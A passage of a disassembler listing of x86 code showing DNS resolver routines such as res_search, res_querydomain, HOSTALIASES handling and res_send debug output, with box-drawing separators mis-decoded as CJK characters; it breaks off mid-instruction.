eax, edi cmp byte ptr [edi], 0 jz short loc_804E1F8 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804E1EC: ; CODE XREF: res_search+76j cmp byte ptr [eax], 2Eh jnz short loc_804E1F2 inc ebx loc_804E1F2: ; CODE XREF: res_search+6Fj inc eax cmp byte ptr [eax], 0 jnz short loc_804E1EC loc_804E1F8: ; CODE XREF: res_search+67j xor esi, esi cmp eax, edi jbe short loc_804E205 cmp byte ptr [eax-1], 2Eh jnz short loc_804E205 inc esi loc_804E205: ; CODE XREF: res_search+7Cj ; res_search+82j test ebx, ebx jnz short loc_804E234 push edi call sub_804E490 add esp, 4 test eax, eax jz short loc_804E234 mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push eax call sub_804DFE0 jmp loc_804E38D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E234: ; CODE XREF: res_search+87j ; res_search+94j mov [ebp+var_8], 0FFFFFFFFh mov al, byte_80786A8 and eax, 0Fh cmp ebx, eax jb short loc_804E277 mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push 0 push edi call sub_804E398 add esp, 18h test eax, eax jg loc_804E38D mov edx, ds:dword_807E788 mov [ebp+var_8], edx inc [ebp+var_14] loc_804E277: ; CODE XREF: res_search+C6j test ebx, ebx jnz short loc_804E28C cmp byte ptr dword_807854C, 0 jl short loc_804E2A1 jmp loc_804E32F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E28C: ; CODE XREF: res_search+F9j test esi, esi jnz loc_804E32F test byte ptr dword_807854C+1, 2 jz loc_804E32F loc_804E2A1: ; CODE XREF: res_search+102j xor ebx, ebx mov esi, offset dword_8078588 cmp dword_8078588, 0 jz short loc_804E32F db 8Dh,76h,0 ; lea esi, [esi+0] loc_804E2B4: ; CODE XREF: res_search+1ADj mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx mov eax, [esi] push eax push edi call sub_804E398 add esp, 18h test eax, eax jg loc_804E38D cmp __errno, 6Fh jz loc_804E37E mov eax, ds:dword_807E788 cmp eax, 2 jz short loc_804E304 jg short loc_804E2F8 cmp eax, 1 jz short loc_804E319 jmp short loc_804E318 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E2F8: ; CODE XREF: res_search+16Fj cmp eax, 4 jnz short loc_804E318 inc [ebp+var_C] jmp short loc_804E319 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E304: ; CODE XREF: res_search+16Dj mov edx, [ebp+var_4] mov al, [edx+3] and al, 0Fh cmp al, 2 jnz short loc_804E318 inc [ebp+var_10] jmp short loc_804E319 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E318: ; CODE XREF: res_search+176j ; res_search+17Bj ... inc ebx loc_804E319: ; CODE XREF: res_search+174j ; res_search+180j ... test byte ptr dword_807854C+1, 2 jnz short loc_804E323 inc ebx loc_804E323: ; CODE XREF: res_search+1A0j add esi, 4 cmp dword ptr [esi], 0 jz short loc_804E32F test ebx, ebx jz short loc_804E2B4 loc_804E32F: ; CODE XREF: res_search+104j ; res_search+10Ej ... cmp [ebp+var_14], 0 jnz short loc_804E351 mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push 0 push edi call sub_804E398 test eax, eax jg short loc_804E38D loc_804E351: ; CODE XREF: res_search+1B3j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_804E364 mov edx, [ebp+var_8] mov ds:dword_807E788, edx jmp short loc_804E388 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E364: ; CODE XREF: res_search+1D5j cmp [ebp+var_C], 0 jz short loc_804E378 mov ds:dword_807E788, 4 jmp short loc_804E388 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E378: ; CODE XREF: res_search+1E8j cmp [ebp+var_10], 0 jz short loc_804E388 loc_804E37E: ; CODE XREF: res_search+15Fj mov ds:dword_807E788, 2 loc_804E388: ; CODE XREF: res_search+44j ; res_search+1E0j ... mov eax, 0FFFFFFFFh loc_804E38D: ; CODE XREF: res_search+ACj ; res_search+E5j ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn res_search endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E398 proc near ; CODE XREF: res_search+DBp ; res_search+148p ... var_210 = byte ptr -210h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 204h push edi push esi push ebx mov ebx, [ebp+arg_0] mov edi, [ebp+arg_4] lea esi, [ebp+var_204] test byte ptr dword_807854C, 1 jnz short loc_804E3D8 call res_init cmp eax, 0FFFFFFFFh jnz short loc_804E3D8 mov ds:dword_807E788, 0FFFFFFFFh mov eax, 0FFFFFFFFh jmp loc_804E482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E3D8: ; CODE XREF: sub_804E398+1Fj ; sub_804E398+29j test byte ptr dword_807854C, 2 jz short loc_804E403 mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx mov eax, edi test edi, edi jnz short loc_804E3F4 mov eax, offset aNil ; "" loc_804E3F4: ; CODE XREF: sub_804E398+55j push eax push ebx push offset aRes_querydomai ; ";; res_querydomain(%s, %s, %d, %d)\n" call printf add esp, 14h loc_804E403: ; CODE XREF: sub_804E398+47j test edi, edi jnz short loc_804E44C xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea edi, [eax-2] cmp edi, 0FFFFFFFFh jz short loc_804E448 cmp byte ptr [edi+ebx], 2Eh jnz short loc_804E448 cmp edi, 200h ja short loc_804E448 push edi lea eax, [ebp+var_204] push eax push ebx call bcopy mov byte ptr [edi+ebp-204h], 0 add esp, 0Ch jmp short loc_804E46C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E448: ; CODE XREF: sub_804E398+85j ; sub_804E398+8Bj ... mov esi, ebx jmp short loc_804E46C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E44C: ; CODE XREF: sub_804E398+6Dj push edi push 100h push ebx push 100h push offset a_S__S ; "%.*s.%.*s" lea eax, [ebp+var_204] push eax call sprintf add esp, 18h loc_804E46C: ; CODE XREF: sub_804E398+AEj ; sub_804E398+B2j mov edx, [ebp+arg_14] push edx mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx push esi call sub_804DFE0 loc_804E482: ; CODE XREF: sub_804E398+3Aj lea esp, [ebp+var_210] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E398 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E490 proc near ; CODE XREF: res_search+8Ap var_410 = byte ptr -410h var_404 = dword ptr -404h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 404h push edi push esi push ebx test byte ptr dword_807854C+1, 10h jnz loc_804E626 push offset aHostaliases ; "HOSTALIASES" call secure_getenv add esp, 4 test eax, eax jz loc_804E626 push offset aR_1 ; "r" push eax call fopen mov edi, eax add esp, 8 test edi, edi jz loc_804E626 push 0 push edi call sub_8054DF0 mov [ebp+var_1], 0 add esp, 8 lea esi, [ebp+var_400] mov [ebp+var_404], esi db 8Dh,76h,0 ; lea esi, [esi+0] loc_804E4F4: ; CODE XREF: sub_804E490+101j push edi push 400h mov esi, [ebp+var_404] push esi call fgets add esp, 0Ch test eax, eax jz loc_804E620 mov ebx, [ebp+var_404] cmp [ebp+var_400], 0 jz loc_804E620 movzx eax, [ebp+var_400] mov edx, dword_8078FA0 test byte ptr [edx+eax*2+1], 20h jnz short loc_804E570 lea ebx, [ebp+var_3FF] cmp [ebp+var_3FF], 0 jz loc_804E620 movzx eax, [ebp+var_3FF] test byte ptr [edx+eax*2+1], 20h jnz short loc_804E570 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804E55C: ; CODE XREF: sub_804E490+DEj inc ebx cmp byte ptr [ebx], 0 jz loc_804E620 movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jz short loc_804E55C loc_804E570: ; CODE XREF: sub_804E490+A6j ; sub_804E490+C7j cmp byte ptr [ebx], 0 jz loc_804E620 mov byte ptr [ebx], 0 mov esi, [ebp+arg_0] push esi mov esi, [ebp+var_404] push esi call sub_80565F8 add esp, 8 test eax, eax jnz loc_804E4F4 inc ebx movzx eax, byte ptr [ebx] mov edx, dword_8078FA0 test byte ptr [edx+eax*2+1], 20h jz short loc_804E5B3 loc_804E5A8: ; CODE XREF: sub_804E490+121j inc ebx movzx eax, byte ptr [ebx] test byte ptr [edx+eax*2+1], 20h jnz short loc_804E5A8 loc_804E5B3: ; CODE XREF: sub_804E490+116j cmp byte ptr [ebx], 0 jz short loc_804E620 lea edx, [ebx+1] cmp byte ptr [ebx+1], 0 jz short loc_804E5F8 movzx eax, byte ptr [ebx+1] mov ecx, dword_8078FA0 test byte ptr [ecx+eax*2+1], 20h jnz short loc_804E5F8 lea edx, [ebx+2] cmp byte ptr [ebx+2], 0 jz short loc_804E5F8 movzx eax, byte ptr [ebx+2] test byte ptr [ecx+eax*2+1], 20h jnz short loc_804E5F8 lea esi, [esi] loc_804E5E8: ; CODE XREF: sub_804E490+166j inc edx cmp byte ptr [edx], 0 jz short loc_804E5F8 movzx eax, byte ptr [edx] test byte ptr [ecx+eax*2+1], 20h jz short loc_804E5E8 loc_804E5F8: ; CODE XREF: sub_804E490+12Fj ; sub_804E490+140j ... mov byte ptr [edx], 0 mov ds:byte_807A857, 0 push 0FFh push ebx push offset unk_807A758 call strncpy push edi call fclose mov eax, offset unk_807A758 jmp short loc_804E628 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E620: ; CODE XREF: sub_804E490+7Bj ; sub_804E490+8Ej ... push edi call fclose loc_804E626: ; CODE XREF: sub_804E490+13j ; sub_804E490+28j ... xor eax, eax loc_804E628: ; CODE XREF: sub_804E490+18Dj lea esp, [ebp+var_410] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E490 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E638 proc near ; CODE XREF: sub_804EA0C+256p ; sub_804EA0C+645p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_E = word ptr 16h arg_10 = dword ptr 18h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, __errno test byte ptr dword_807854C, 2 jz short loc_804E682 push eax call sub_80566A4 push eax mov ax, [ebp+arg_E] xchg al, ah and eax, 0FFFFh push eax mov eax, [ebp+arg_10] push eax call sub_805E984 add esp, 4 push eax push esi push offset aRes_sendSS_US ; "res_send: %s ([%s].%u): %s\n" push edi call fprintf loc_804E682: ; CODE XREF: sub_804E638+1Cj mov __errno, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E638 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E694 proc near ; CODE XREF: sub_804EA0C+2D4p ; sub_804EA0C+350p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, __errno test byte ptr dword_807854C, 2 jz short loc_804E6C5 push eax call sub_80566A4 push eax push esi push offset aRes_sendSS ; "res_send: %s: %s\n" push edi call fprintf loc_804E6C5: ; CODE XREF: sub_804E694+1Cj mov __errno, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E694 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E6D8 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_807853C, eax mov esp, ebp pop ebp retn sub_804E6D8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E6E8 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_8078540, eax mov esp, ebp pop ebp retn sub_804E6E8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E6F8 proc near ; CODE XREF: sub_804EA0C+808p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push edi push esi push ebx mov edx, [ebp+arg_0] mov ecx, [edx] mov [ebp+var_10], ecx mov eax, [edx+4] mov [ebp+var_C], eax mov eax, [edx+8] mov [ebp+var_8], eax mov eax, [edx+0Ch] mov [ebp+var_4], eax xor esi, esi mov [ebp+var_14], 0 cmp dword_8078550, esi jle loc_804E875 mov [ebp+var_18], ecx mov ecx, offset dword_8078558 mov [ebp+var_1C], offset dword_8078554 mov eax, dword_8078550 and eax, 3 cmp dword_8078550, esi jle short loc_804E7B9 test eax, eax jz loc_804E7F0 cmp eax, 1 jle short loc_804E7B9 cmp eax, 2 jle short loc_804E791 mov ebx, [ebp+var_18] cmp dword_8078554, ebx jnz short loc_804E787 cmp dword_8078558, 0 jz loc_804E859 mov eax, dword_8078558 cmp [ebp+var_C], eax jz loc_804E859 loc_804E787: ; CODE XREF: sub_804E6F8+72j add ecx, 10h add [ebp+var_1C], 10h inc [ebp+var_14] loc_804E791: ; CODE XREF: sub_804E6F8+67j mov ebx, [ebp+var_18] mov edi, [ebp+var_1C] cmp [edi], ebx jnz short loc_804E7AF cmp dword ptr [ecx], 0 jz loc_804E859 mov eax, [ecx] cmp [ebp+var_C], eax jz loc_804E859 loc_804E7AF: ; CODE XREF: sub_804E6F8+A1j add ecx, 10h add [ebp+var_1C], 10h inc [ebp+var_14] loc_804E7B9: ; CODE XREF: sub_804E6F8+55j ; sub_804E6F8+62j mov ebx, [ebp+var_18] mov edi, [ebp+var_1C] cmp [edi], ebx jnz short loc_804E7D7 cmp dword ptr [ecx], 0 jz loc_804E859 mov eax, [ecx] cmp [ebp+var_C], eax jz loc_804E859 loc_804E7D7: ; CODE XREF: sub_804E6F8+C9j add ecx, 10h add [ebp+var_1C], 10h inc [ebp+var_14] mov edi, [ebp+var_14] cmp dword_8078550, edi jz loc_804E875 loc_804E7F0: ; CODE XREF: sub_804E6F8+59j mov [ebp+var_20], ecx mov edx, ecx mov ecx, [ebp+var_1C] loc_804E7F8: ; CODE XREF: sub_804E6F8+17Bj mov ebx, [ebp+var_18] cmp [ecx], ebx jnz short loc_804E80E cmp dword ptr [edx], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi] cmp [ebp+var_C], eax jz short loc_804E859 loc_804E80E: ; CODE XREF: sub_804E6F8+105j mov ebx, [ebp+var_18] cmp [ecx+10h], ebx jnz short loc_804E827 cmp dword ptr [edx+10h], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi+10h] cmp [ebp+var_C], eax jz short loc_804E859 loc_804E827: ; CODE XREF: sub_804E6F8+11Cj mov ebx, [ebp+var_18] cmp [ecx+20h], ebx jnz short loc_804E840 cmp dword ptr [edx+20h], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi+20h] cmp [ebp+var_C], eax jz short loc_804E859 loc_804E840: ; CODE XREF: sub_804E6F8+135j mov ebx, [ebp+var_18] cmp [ecx+30h], ebx jnz short loc_804E85C cmp dword ptr [edx+30h], 0 jz short loc_804E859 mov edi, [ebp+var_20] mov eax, [edi+30h] cmp [ebp+var_C], eax jnz short loc_804E85C loc_804E859: ; CODE XREF: sub_804E6F8+7Bj ; sub_804E6F8+89j ... inc esi jmp short loc_804E875 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E85C: ; CODE XREF: sub_804E6F8+14Ej ; sub_804E6F8+15Fj add [ebp+var_20], 40h add edx, 40h add ecx, 40h add [ebp+var_14], 4 mov ebx, [ebp+var_14] cmp dword_8078550, ebx jnz short loc_804E7F8 loc_804E875: ; CODE XREF: sub_804E6F8+32j ; sub_804E6F8+F2j ... mov eax, esi lea esp, [ebp+var_2C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E6F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E884 proc near ; CODE XREF: sub_804E944+A2p var_114 = byte ptr -114h var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 108h push edi push esi push ebx mov esi, [ebp+arg_C] add esi, 0Ch mov edx, [ebp+arg_C] mov ax, [edx+4] xchg al, ah movzx edi, ax mov eax, edi dec edi test eax, eax jle loc_804E933 lea edx, [ebp+var_104] mov [ebp+var_108], edx db 8Dh,76h,0 ; lea esi, [esi+0] loc_804E8BC: ; CODE XREF: sub_804E884+ADj push 101h mov edx, [ebp+var_108] push edx push esi mov edx, [ebp+arg_10] push edx mov edx, [ebp+arg_C] push edx call sub_804D02C add esp, 14h test eax, eax jge short loc_804E8E4 mov eax, 0FFFFFFFFh jmp short loc_804E935 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804E8E4: ; CODE XREF: sub_804E884+57j add esi, eax push esi call sub_804D6B8 movzx ebx, ax add esi, 2 push esi call sub_804D6B8 and eax, 0FFFFh add esi, 2 add esp, 8 cmp [ebp+arg_4], ebx jnz short loc_804E92C cmp [ebp+arg_8], eax jnz short loc_804E92C mov edx, [ebp+arg_0] push edx mov edx, [ebp+var_108] push edx call sub_80565F8 add esp, 8 test eax, eax jnz short loc_804E92C mov eax, 1 jmp short loc_804E935 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E92C: ; CODE XREF: sub_804E884+82j ; sub_804E884+87j ... mov eax, edi dec edi test eax, eax jg short loc_804E8BC loc_804E933: ; CODE XREF: sub_804E884+23j xor eax, eax loc_804E935: ; CODE XREF: sub_804E884+5Ej ; sub_804E884+A5j lea esp, [ebp+var_114] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E884 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804E944 proc near ; CODE XREF: sub_804EA0C+853p var_114 = byte ptr -114h var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 108h push edi push esi push ebx mov esi, [ebp+arg_0] add esi, 0Ch mov edx, [ebp+arg_0] mov ax, [edx+4] xchg al, ah movzx edi, ax mov edx, [ebp+arg_8] mov ax, [edx+4] xchg al, ah and eax, 0FFFFh cmp edi, eax jz short loc_804E984 loc_804E974: ; CODE XREF: sub_804E944+ACj xor eax, eax jmp loc_804E9FE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E97C: ; CODE XREF: sub_804E944+73j mov eax, 0FFFFFFFFh jmp short loc_804E9FE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804E984: ; CODE XREF: sub_804E944+2Ej mov eax, edi dec edi test eax, eax jle short loc_804E9F9 lea edx, [ebp+var_104] mov [ebp+var_108], edx nop loc_804E998: ; CODE XREF: sub_804E944+B3j push 101h mov edx, [ebp+var_108] push edx push esi mov edx, [ebp+arg_4] push edx mov edx, [ebp+arg_0] push edx call sub_804D02C add esp, 14h test eax, eax jl short loc_804E97C add esi, eax push esi call sub_804D6B8 movzx ebx, ax add esi, 2 push esi call sub_804D6B8 and eax, 0FFFFh add esi, 2 mov edx, [ebp+arg_C] push edx mov edx, [ebp+arg_8] push edx push eax push ebx mov edx, [ebp+var_108] push edx call sub_804E884 add esp, 1Ch test eax, eax jz short loc_804E974 mov eax, edi dec edi test eax, eax jg short loc_804E998 loc_804E9F9: ; CODE XREF: sub_804E944+45j mov eax, 1 loc_804E9FE: ; CODE XREF: sub_804E944+32j ; sub_804E944+3Dj lea esp, [ebp+var_114] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804E944 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804EA0C proc near ; CODE XREF: sub_804DFE0+B8p var_264 = byte ptr -264h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_1FC = byte ptr -1FCh var_1EC = word ptr -1ECh var_1EA = word ptr -1EAh var_1E8 = dword ptr -1E8h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 258h push edi push esi push ebx mov eax, [ebp+arg_0] mov [ebp+var_22C], eax mov ecx, [ebp+arg_8] mov [ebp+var_230], ecx test byte ptr dword_807854C, 1 jnz short loc_804EA41 call res_init cmp eax, 0FFFFFFFFh jz loc_804F4E4 ; default loc_804EA41: ; CODE XREF: sub_804EA0C+25j test byte ptr dword_807854C, 2 jnz short loc_804EA53 test byte ptr dword_80786A4+1, 10h jz short loc_804EA77 loc_804EA53: ; CODE XREF: sub_804EA0C+3Cj push offset aRes_send ; ";; res_send()\n" push offset unk_8078750 call fprintf push offset unk_8078750 mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_805F1DC add esp, 14h loc_804EA77: ; CODE XREF: sub_804EA0C+45j mov [ebp+var_244], 0 test byte ptr dword_807854C, 8 jnz short loc_804EA93 cmp [ebp+arg_4], 200h jle short loc_804EA9D loc_804EA93: ; CODE XREF: sub_804EA0C+7Cj mov [ebp+var_244], 1 loc_804EA9D: ; CODE XREF: sub_804EA0C+85j mov [ebp+var_234], 0 mov [ebp+var_238], 0 mov [ebp+var_23C], 6Eh mov [ebp+var_248], 0 mov [ebp+var_240], 0 mov edi, [ebp+var_234] cmp dword_8078548, edi jle loc_804F475 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804EAE4: ; CODE XREF: sub_804EA0C+A63j xor esi, esi cmp dword_8078550, esi jle loc_804F45D lea esi, [esi] loc_804EAF4: ; CODE XREF: sub_804EA0C+A4Bj mov eax, esi shl eax, 4 add eax, offset dword_8078554 mov [ebp+var_4], eax loc_804EB01: ; CODE XREF: sub_804EA0C+386j ; sub_804EA0C+946j mov eax, [ebp+var_248] bt eax, esi jnb short loc_804EB18 loc_804EB0C: ; CODE XREF: sub_804EA0C+146j ; sub_804EA0C+364j ... call sub_804F4F8 ; case 0x1 jmp loc_804F450 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EB18: ; CODE XREF: sub_804EA0C+FEj cmp dword_807853C, 0 jz short loc_804EB80 ; case 0x0 xor ebx, ebx nop loc_804EB24: ; CODE XREF: sub_804EA0C+172j lea ecx, [ebp+var_8] push ecx mov edi, [ebp+arg_C] push edi mov eax, [ebp+arg_8] push eax lea 